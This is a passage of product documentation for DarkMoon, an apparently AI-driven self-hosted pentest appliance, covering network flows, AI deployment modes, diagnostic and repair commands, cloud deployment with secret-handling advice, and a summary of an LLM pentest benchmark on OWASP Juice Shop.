Safety margin. Recommended figures deliberately sit above the
estimated need so that transient spikes — a burst of concurrent tool
executions, a larger-than-usual campaign — do not push a correctly sized
node into swap or a full disk. Prefer moving up a profile over trimming the
margin.
Information:
For the full derivation — per-figure category, the component specs used,
and the reasoning behind each number — see the
appliance sizing study of the Pro documentation.
Network Requirements
The table below is the complete flow matrix for a DarkMoon node. It is meant to
be handed straight to a firewall team: source, destination,
direction, protocol, port, purpose, the AI
mode the flow belongs to, and whether it is required.
Directions are from the node’s point of view (IN = inbound to
the node, OUT = outbound from the node, LOCAL =
loopback on the node only). The Mode column reads
all for flows that apply regardless of AI mode, or names the single
mode a conditional flow belongs to.
Source
Destination
Direction
Protocol
Port
Purpose
Mode
Required
Operator browser
Node dashboard
IN
TCP
80 (DARKMOON_UI_PORT)
Web UI + SSE
all
yes
Scanner
Customer targets
OUT
TCP/UDP
scan-dependent
Offensive tooling to authorized targets
all
yes
Core
LLM provider
OUT
HTTPS
443
Model calls via Privacy Gateway
Connected
conditional
Core
Customer LLM endpoint
OUT
HTTPS
443 / custom
Model calls
Private
conditional
Core
On-node inference
LOCAL
TCP
127.0.0.1:<port>
Local inference, no LLM egress
Local
conditional
Node
Docker registry
OUT
HTTPS
443
Image pulls at install/update
all
yes at install/update
Core
Licensing (Cryptolens)
OUT
HTTPS
443
License validation (offline cache 24h)
all
yes (Pro), cache-tolerant
Core
Docker Hub (manifest)
OUT
HTTPS
443
update-status badge
all
optional
Scanner
Kubernetes API (customer)
OUT
HTTPS
6443 (typical)
Only when k8s agent runs
all
optional
Node
DNS / NTP
OUT
UDP
53 / 123
Resolution / clock
all
recommended
Information:
The three conditional LLM flows are mutually exclusive per node:
exactly one applies depending on the AI deployment mode you choose in
AI Deployment Modes.
AI Deployment Modes
The AI backend is selected per node. It decides which of the conditional
network flows above applies, whether the node needs internet egress to a model,
and whether a GPU is ever useful. The three modes compare as follows.
Connected
Private
Local
Where DarkMoon runs
On your node
On your node
On your node
Where inference runs
Hosted LLM provider (off node)
Customer-operated LLM endpoint (off node, your infra)
On the node itself (loopback)
Privacy Gateway
Yes (data-minimization before egress)
Yes (data-minimization before egress)
No LLM egress to minimize
Internet requirement
Required — outbound 443 to the provider
Not to a public provider; reach your endpoint
Not for inference (still for install / update / license)
GPU requirement
None (inference is off node)
None (inference is on your endpoint)
Optional — local inference only
Recommended profile
Minimum / Standard / Performance
Standard / Performance / Industrial
Local AI
Warning:
Air-gapped: not currently validated. A fully air-gapped
deployment (no egress whatsoever, including no registry, licensing or NTP at
any point) is not a validated configuration today. Local mode removes LLM
egress, but install/update still needs registry access and Pro still needs
periodic license validation (cache-tolerant for 24h).
Information:
Two things people conflate. The
Privacy Gateway is
data-minimization, not offline: it strips and tokenizes
sensitive data before it reaches the model, but Connected mode still sends
(minimized) traffic to the provider. And a GPU is only useful for
LOCAL inference; Connected and Private modes do their inference off
the node, so they never need one.
DarkMoon Doctor
DarkMoon Doctor is the first troubleshooting reflex. The flow
it enforces is problem → darkmoon doctor →
diagnosis → safe automatic fix, or a documented action. Before
reading logs, restarting containers by hand or opening a ticket, run it: it
inspects the host and the running stack, tells you exactly what is wrong, and
(with --fix) repairs the safe classes of problem for you.
Terminal
darkmoon doctor # diagnose host + stack (report only)
darkmoon doctor --fix # also auto-repair the safe problem classes
darkmoon doctor --yes # non-interactive (assume yes to prompts)
Docker Compose v2 available, and the compose file present.
Containers
both the opencode core and
the darkmoon scanner present, running and healthy; detects
absent, restart-loop and unhealthy states, and
greps logs for known fatal strings.
Images
version drift, local vs remote digest.
License
key present and free of activation errors.
AI provider
API key present, plus a TCP probe of the configured base URL.
Privacy Gateway
the unix socket is present.
Ports
the UI port is available (not already bound elsewhere).
Disk
warn at ≥90% used.
Memory
warn under 4000 MB; 8 GB+ recommended.
GPU
NVIDIA stack checked only when the GPU profile is requested.
Example output
Terminal
$ darkmoon doctor
DarkMoon Doctor
Runtime Docker daemon reachable OK
Compose Docker Compose v2 detected OK
Containers opencode core running / healthy OK
darkmoon scanner running / healthy OK
Images local digest matches remote OK
License key present, no activation error OK
AI provider key set, base URL reachable (TCP) OK
Privacy Gateway unix socket present OK
Ports UI port 80 bound to core OK
Disk 38% used OK
Memory 15.6 GB available OK
GPU not requested (profile has no GPU) SKIP
Summary: 11 checks — 11 OK, 0 warnings, 0 errors.
What Doctor repairs
Auto-fix runs only with --fix, and it
backs up config first:
Restart-loop container → pull + up.
Stopped container → up.
Unhealthy container → restart.
Everything else is report-only — version drift,
license, AI provider, Privacy Gateway, ports, disk/memory and GPU are diagnosed
and explained but not changed automatically, because the fix is a decision
(update, re-license, edit config) rather than a mechanical restart.
Updating & Repair
Keeping a node current and recovering a broken one are both single commands.
darkmoon update moves the node forward; darkmoon repair
and darkmoon repair --full rebuild it when something is wrong. All
three keep your data: the sealed data volume is never touched, and backups cover
config only.
Updating
darkmoon update is transactional: it takes a backup, pulls the new
images, brings the stack up, waits for health, and rolls back on
failure so a bad pull cannot leave you with a broken node.
Terminal
darkmoon update
# 1. backup — snapshot the current config
# 2. compose pull
# 3. compose up — recreate with the new images
# 4. wait-healthy
# 5. rollback — automatically, if health does not come back
Images declare pull_policy: always, so an up
always fetches the current tag rather than reusing a stale local layer.
Backups never include the sealed data volume — they
cover config only, so evidence and campaign data are never copied around
during an update.
Check whether an update is even available first with
darkmoon doctor (image version drift) or the dashboard
“update available” badge (/system/update-status).
Repair
darkmoon repair
force-recreates the
stack from the current config. Use it when containers are wedged but the
config is sound. Data is kept.
darkmoon repair --full
takes the stack
down, pulls fresh images, and re-runs install.sh,
reusing the existing license and config. Use it when a plain
repair is not enough or the config has drifted. Data is
kept.
Important:
repair and repair --full keep your data: the sealed
data volume is never touched by a repair, and backups never include it.
repair --full reuses the existing license and config when it
re-runs install.sh.
Troubleshooting
The workflow is always the same: problem →
darkmoon doctor → diagnosis → repair or documented
action. Run Doctor first; it usually names the exact cause. The
table maps the common symptoms to what Doctor reports and the resolving
action.
Problem
Run
Diagnosis
Repair / documented action
Dashboard will not load
darkmoon doctor
UI port already bound, or the core container is down/unhealthy
Free the port (or change DARKMOON_UI_PORT); darkmoon doctor --fix to restart the core
A container keeps restarting
darkmoon doctor
Restart-loop detected (fatal string grepped from logs)
darkmoon doctor --fix (pull + up); if it persists, darkmoon repair --full
A container is stopped / unhealthy
darkmoon doctor
Stopped → needs up; unhealthy → needs restart
darkmoon doctor --fix brings it up / restarts it
“Update available” / stale build
darkmoon doctor
Image version drift (local vs remote digest)
darkmoon update (backup → pull → up → health-check, rollback on failure)
Agents fail / no model responses
darkmoon doctor
AI provider: missing API key, or the base-URL TCP probe fails
GPU/NVIDIA check fails when the GPU profile is requested
Fix the GPU stack (see GPU Troubleshooting); GPU is only needed for LOCAL inference
Stack corrupted / nothing else works
darkmoon doctor
Multiple failures, config drift
darkmoon repair (force-recreate, data kept), then darkmoon repair --full (down → pull → re-run install.sh)
Important:
repair and repair --full keep your data: the sealed
data volume is never touched by a repair, and backups never include it.
repair --full reuses the existing license and config when it
re-runs install.sh.
Cloud deployment · 18/22
Cloud deployment
A question customers ask often: “do you sell hardware boxes?” The answer is no.
9 sections
10 min read
A question customers ask often: “do you sell hardware
boxes?” The answer is no. DarkMoon Pro is
software-defined and self-hosted: you bring the machine and
turn it into a dedicated DarkMoon node. The same deployment runs on
any cloud (AWS, GCP, Azure, OVH) or on bare metal, with
one command — no proprietary appliance, no vendor SDK
and no cloud-marketplace listing required. One mechanism
works everywhere; there is no per-cloud fork. This section mirrors the
Deployment / Appliance model for cloud VMs.
Overview — three paths, all free, all cloud-agnostic
All three paths converge on the same install.sh and produce the
same single-node appliance described in
§ Deployment / Appliance. They differ only in where
you start from:
One command
on any Linux VM / bare-metal host you
already have, paste one line over SSH.
One click from the cloud console
paste a startup
script into the VM-launch wizard (cloud-init / user-data). On first boot the
VM becomes a DarkMoon node.
One command from your laptop or CloudShell
per-cloud
Terraform modules create the VM, the firewall/security-group and inject the
user-data.
Information:
Same node everywhere. There is no OVA, no ISO, no custom OS
and no marketplace image. The node is the packaged Docker images installed by
install.sh onto a stock Linux you already run. Use
amd64 instances — arm64 is experimental and not
recommended for production.
Easy guide (easy-read)
Short sentences, simple words — the fully automated one-command path, for non-technical users.
Information:
You need three things: your DarkMoon license key (from the client portal), your LLM API key, and a cloud account (AWS, GCP, Azure or OVH).
Open your cloud's CloudShell (the terminal button in the console — already signed in, nothing to install).
Paste one command: client portal → the “Deploy to cloud” card → option ① Fully automated → Copy. Paste it, replace <YOUR_LLM_API_KEY> with your AI key (change aws to gcp/azure/ovh if needed), then press Enter.
Wait ~3 min: the machine is created, the port opens and DarkMoon installs itself. The address appears on screen.
Open DarkMoon: paste the address into your browser. It's ready.
Information:
It happens on its own: create the machine, open port 80, install Docker and DarkMoon. No VM to create by hand, no SSH. The only thing you do is be signed in to your cloud account (CloudShell already is) — DarkMoon never holds your cloud keys.
Something wrong? On the machine, run darkmoon doctor. Full easy-read guide: easy guide.
One command
On a fresh Linux VM or bare-metal host with outbound HTTPS, one line turns it
into a DarkMoon node:
fetches and runs install.sh non-interactively (Pro license required);
runs darkmoon doctor to verify the node is healthy.
install.shrequires the Pro license (via
DARKMOON_LICENSE_KEY or as the first positional argument) and one
AI backend. Everything after bash -s -- is passed straight
through:
The three AI backends map to the modes in
AI Deployment Modes. Pick an instance size
from the table below.
Profiles → instance size
DarkMoon is a single-node appliance: scale up (a bigger
instance), not out. Pick the profile that matches your workload and map it to
your cloud’s instance type. All entries are amd64.
Profile
vCPU / RAM
AWS
GCP
Azure
OVH
Minimum
2 / 8
t3.large
e2-standard-2
Standard_B2ms
b2-15
Standard
4 / 16
t3.xlarge
e2-standard-4
Standard_D4s_v5
b2-30
Performance
8 / 32
t3.2xlarge
e2-standard-8
Standard_D8s_v5
b2-60
Industrial
16 / 64
m6i.4xlarge
e2-standard-16
Standard_D16s_v5
b2-120
Information:
Local AI adds memory. A GPU is only for
Local inference; Connected and Private do inference off the
node and never need one. For Local mode, add memory per model on top of the
base profile: 7B +8 GB, 13B +16 GB, 33B
+32 GB.
Network flows to open
The guiding rule: one inbound port (the dashboard) plus outbound
HTTPS. Directions are from the node’s point of view. For the
exhaustive matrix see Network Requirements.
Flow
Proto / Port
Direction
Required
Operator browser → dashboard
TCP ui_port (default 80)
IN
yes
Operator → SSH (management)
TCP 22
IN
optional
Node → Docker Hub (image pulls)
TCP 443
OUT
at install/update
Node → license validation
TCP 443
OUT
yes (Pro), cache-tolerant
Core → LLM provider (Connected)
TCP 443
OUT
conditional
Scanner → authorized targets
any the scan needs
OUT
yes (to run scans)
Node → DNS / NTP
UDP 53 / UDP 123
OUT
recommended
Information:
No inbound port other than the dashboard (and optional SSH 22). In
Local mode no LLM traffic leaves the node; you still need
outbound 443 at install/update for image pulls and license validation. The
three LLM flows are mutually exclusive — exactly one applies per the AI
mode you chose.
AWS
Pick an amd64 EC2 type from the table (e.g. t3.xlarge for Standard).
Console (one click)
at launch, expand
Advanced details → User data and paste the startup script
(deploy/cloud-init/darkmoon-user-data.sh). Set a Security Group
with inbound TCP 80 from your trusted CIDR (optionally 22) and outbound 443.
Terraform
deploy/terraform/aws/ creates
the instance, the security group and injects the user-data:
terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
AWS CloudShell (browser, free) has the
CLI and credentials; run the same Terraform there.
Important:
Fetch the license and API key from SSM Parameter Store or
Secrets Manager at boot via a least-privilege instance role.
Never inline them in user-data — see
Security & secrets.
GCP
Pick an amd64 machine type from the table (e.g. e2-standard-4 for Standard).
Console (one click)
open
Automation → Startup script (the startup-script
metadata key) and paste the script. Add a VPC firewall rule (with a network
tag) for inbound TCP 80 from your trusted range; egress 443 is open by
default unless locked down.
Terraform
deploy/terraform/gcp/ creates
the instance, the firewall rule and injects the startup-script metadata:
terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
Google Cloud Shell (browser, free) ships
gcloud and Terraform; run the same commands there.
Important:
Fetch secrets from Secret Manager at boot via a service
account with roles/secretmanager.secretAccessor on exactly those
secrets — see Security & secrets.
Azure
Pick an amd64 VM size from the table (e.g. Standard_D4s_v5 for Standard).
Console (one click)
on the
Advanced tab set Custom data to the startup script
(cloud-init runs it on first boot). Add an NSG with inbound TCP 80 from your
trusted CIDR (optionally 22) and outbound 443.
Terraform
deploy/terraform/azure/
creates the VM, the NSG and injects the custom-data:
terraform init && terraform apply -var license_key=... -var ai_api_key=....
CloudShell
Azure Cloud Shell (browser, free) ships
the Azure CLI and Terraform; run the same commands there.
Important:
Fetch secrets from Key Vault at boot via the VM’s
system-assigned managed identity (granted get on the secrets) —
see Security & secrets.
OVH
Pick an amd64 flavor from the table (e.g. b2-30 for Standard).
Console (one click)
provide the startup script as
the cloud-init user_data at instance creation. Add security
group / network rules for inbound TCP 80 from your trusted CIDR (optionally
22) and outbound 443.
Terraform
deploy/terraform/ovh/ (OVH
exposes an OpenStack-compatible API) creates the instance, the network rules
and injects the cloud-init user_data:
terraform init && terraform apply -var license_key=... -var ai_api_key=....
Browser shell
OVH has no first-party CloudShell; run
the same Terraform from any machine with Terraform and your OVH credentials.
Warning:
OVH Public Cloud has no first-party managed secret store. Do not inline the
license/API key in user_data (it is readable from instance
metadata): use an open-source secrets manager you control, a secret store in
another cloud reached over 443, or provision the keys out-of-band by running
the one-liner interactively over SSH. See
Security & secrets.
Security & secrets
Warning:
Never inline the license key or the API key in user-data.
User-data / custom-data / startup-scripts are readable from the instance
metadata service and from the cloud console. A key pasted there is a key
leaked. Fetch secrets at boot from the cloud secret manager instead.
Use the cloud secret manager. AWS SSM Parameter Store /
Secrets Manager, GCP Secret Manager, Azure Key Vault — grant the VM an
identity that can read exactly the DarkMoon secrets, and fetch them in the
startup script just before invoking the installer. Fail the script if the
fetch returns empty rather than calling install.sh with a blank
value.
Dedicated host. DarkMoon executes offensive tooling; run it
on a machine that does nothing else.
Restrict the dashboard. Limit the ui_port
(default 80) to trusted CIDRs; do not expose it to the whole internet.
TLS in front. If the dashboard is reachable beyond a trusted
network, terminate TLS in front of it (a reverse proxy / load balancer with a
certificate). The node speaks HTTP on ui_port.
Patch the host. Keep the OS and Docker patched; use
darkmoon update for the DarkMoon stack itself.
Don’t echo secrets into logs. Avoid set -x
around the license/API-key lines and prefer environment variables over
positional arguments.
Important:
License slots. Pro is licensed (Cryptolens + runtime guard)
with device/machine slots; each fresh VM consumes a slot via its machine-code
fingerprint. Re-provisioning many ephemeral VMs can exhaust slots. Slots are
managed in the license dashboard; the license supports floating activation
(slots can be reclaimed and re-issued) and an offline validation cache
(cache-tolerant) for brief licensing-endpoint outages. Prefer long-lived nodes
and release slots on teardown.
Doctor & troubleshooting
After boot, and whenever anything looks wrong, run
darkmoon doctor first. It verifies the runtime,
both containers, images, license, AI provider, Privacy Gateway, ports, disk and
memory, and names the exact cause. Operate the node through the
darkmoon CLI (doctor, update,
repair) — SaaS-like operations, self-hosted control —
not the raw containers. See DarkMoon Doctor and
Updating & Repair.
Cloud-provisioning edge cases you may hit before or around Doctor:
Symptom
Likely cause
Fix (doctor-first)
install.sh aborts: “license required”
No DARKMOON_LICENSE_KEY (Pro will not install without it)
Pass the key via env var or first arg; if fetched from a secret manager, confirm the fetch returned a value
Activation fails: device limit reached
All device slots for the license are in use — a previous activation (or a floating lease) still holds the slot
Free a slot yourself: in the client portal open Devices & activation slots and release the old machine code (it is shown in the activation error, and by darkmoon doctor), then re-run activation. Floating slots also free themselves within ~1 hour
Images won’t pull / exec format error
An arm64 instance was launched (experimental)
Recreate on an amd64 instance type (all types in the table are amd64)
One-liner fails at the Docker step
No egress to get.docker.com, or an unsupported distro
Confirm outbound 443; use a supported Linux; a pre-installed Docker is detected
Dashboard unreachable
Security group / firewall has no inbound rule for ui_port (80)
Open TCP 80 to your trusted CIDR; darkmoon doctor for a bound/unhealthy core
Install hangs pulling images / validating license
No outbound egress (locked-down VPC, no NAT/gateway)
Provide outbound 443 to Docker Hub + licensing; fully air-gapped is not validated
Agents run but get no model responses
LLM provider unreachable: missing key or no egress
Pasted in the wrong console field, or the image ships no cloud-init
Use the correct field (EC2 User data / GCP Startup script / Azure Custom data / OVH cloud-init user_data); use a cloud-init image; check the boot log
Boot-time secret fetch failed (empty key)
VM identity can’t read the secret, wrong name, or wrong region
Grant least-privilege read on the exact secret; verify name/region; fail the script on an empty fetch
Information:
Self-service: free an activation slot. DarkMoon Pro is licensed per device
(Cryptolens). When activation reports device limit reached, you do not need to
email support: open the client
portal, go to Devices & activation slots, and release the old machine
code (the one shown in your activation error, also printed by darkmoon doctor);
then re-run activation on the new machine. The guard uses floating activation, so a
busy slot is also released automatically within about an hour. Only you can manage your own
key — the portal acts solely on the license tied to your account.
On teardown, run darkmoon deactivate on a node before you destroy it to
free its slot immediately (with Terraform on AWS / GCP / Azure / OVH, set release_slot_on_destroy = true);
otherwise the floating slot frees itself within ~1 hour.
Research · 19/22
Benchmarks
Open benchmark records of autonomous AI penetration testing, with the data, the method and the limits next to each number.
3 sections
2 min read
Darkmoon-Benchmarks is where the Darkmoon team publishes the measurements behind its claims. It holds two kinds of records that use different methods and must not be compared with each other:
OWASP Juice Shop challenges marked solved by the application, weighted by difficulty stars, for 16 tool × LLM configurations (21 runs, July to October 2026)
Darkmoon multi-surface leaderboard
Findings reported by Darkmoon on named public labs (web, cloud, infrastructure, IoT), after manual review
Information: Operator disclosure
Every run was executed by the Darkmoon team (ASC-IT), which develops Darkmoon. None of it is an independent evaluation. The conditions, the data and the scripts are published so that others can check, contest or replicate the numbers.
LLM pentest study on OWASP Juice Shop (2026)
Question. On one public vulnerable web application, tested black-box through a logging proxy, how many built-in challenges does an LLM-driven pentest configuration solve, how does that depend on difficulty, and how stable is it across repeated runs?
Scope. 21 runs of 16 configurations. A configuration is a tool × model label pair. Only C01 records its tool (the Darkmoon open-source CLI at commit 130f6de, model claude-sonnet-4-6); the tool of C02 to C16 is not recorded, so their results are not attributed to Darkmoon or to any other tool.
Verified results (recomputed from the dataset, checked in CI)
The best valid runs solved 16 challenges and about 11 % of the catalogue's difficulty points (C01: 43 points; C12: 42 points). With one or two runs per configuration, configurations are not ranked.
The solve rate falls with difficulty: 13.5 % at 1 star, 3.5 % at 4 stars, 0.3 % at 5 stars and 0 % at 6 stars.
Repeated runs of the same configuration solve different challenges (Jaccard 0.00 to 0.60): single-run rankings are unstable.
Points track the active traffic window (Spearman rho 0.85), but run length was the operator's decision: a confound, not a causal effect.
Tokens and cost were metered for one run only (C01: USD 17.44).
Scoring and reproduction
Points = the sum of the Juice Shop difficulty stars (1 to 6) of the challenges the application marks as solved during the run, excluding those already solved at launch. Stars are an author-assigned difficulty, not a severity, and there is no false-positive or report-quality axis. Every stored score is recomputed from the published rows:
Terminal
git clone https://github.com/ASCIT31/Darkmoon-Benchmarks.git
cd Darkmoon-Benchmarks/studies/llm-pentest-juice-shop-2026
python3 scripts/validate_results.py # ids, duplicates, score recomputation, aggregates, links
python3 scripts/generate_tables.py --check # Markdown tables equal the data
python3 diagrams/src/build_figures.py --check # figure sources equal the data
The analysis is reproducible; the experiments, as recorded, are not (unknown tools for C02 to C16, unpinned target digest, prompts and hardware not recorded).
Limitations
Operator-run by the Darkmoon team, not independent; Darkmoon is one of the configurations.
Tool not recorded for 15 of 16 configurations; results describe tool × model pairs, never a model alone.
One or two valid runs per configuration; no significance testing.
Earlier runs were deleted before the backups (selection risk); no time budget; one target only.
Full list, dataset (CC BY 4.0) and per-configuration pages: Darkmoon-Benchmarks.
Research · 20/22
Scientific references
The public research record behind Darkmoon: research repositories, benchmarks, the article series and reference pages.
How Darkmoon links findings into attack paths: the history of approaches, architecture D, the evidence model, the experiments and the negative results. Every statement is labelled by its evidence (verified, observed, simulated, hypothesis, superseded, unknown).
How Darkmoon shows results to people: the Pro dashboard, attack-path graphs (2D, map, 3D orbital), the executive views and the Terminal Explorer, with before/after captures and the measures that exist.
The LLM pentest study on OWASP Juice Shop (methodology, scoring, limitations, per-configuration results) and individual runs (Benchmarks).
The research repositories are licensed under the GNU AGPL-3.0 and provide a CITATION.cff file to cite them. Darkmoon Pro is proprietary: the research repositories cite it without linking private code.